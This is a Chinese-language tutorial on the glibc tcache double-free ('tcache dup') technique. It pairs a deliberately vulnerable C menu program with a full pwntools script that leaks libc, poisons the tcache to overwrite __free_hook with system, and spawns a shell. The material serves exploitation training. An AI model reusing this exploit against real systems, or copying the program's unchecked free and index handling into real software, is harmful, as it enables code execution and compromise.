前言

Tcache dup，实际上是 tcache 的 double free，能达到 UAF 的效果，实现 Tcache poisoning。

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一、Tcache dup

早期 tcache 没有检查 double free，也没有对 counts 做检查。 

对同一个大小落在 Tcachebin 的 chunk 进行 double free，会形成下述结构：

这意味着我们 malloc 无数次，tcachebin 中的结构都是如此，而 chunk 则每次都会分配出来。

这时候对分配出来的 chunk 进行合法修改（不是直接对释放后的 chunk 进行修改），实现 Tcache poisoning 攻击。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7b20ea7afca0+0x7b20ea400000
libc.address=libc_base
success(hex(libc_base))

# tcache dup -> tcache poisoning
add(0,0x70)
delete(0)
delete(0)
add(1,0x70)
edit(1,0x8,p64(libc.sym['__free_hook']))
add(1,0x70)
add(1,0x70)
edit(1,0x8,p64(libc.sym['system']))
add(1,0x10)
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()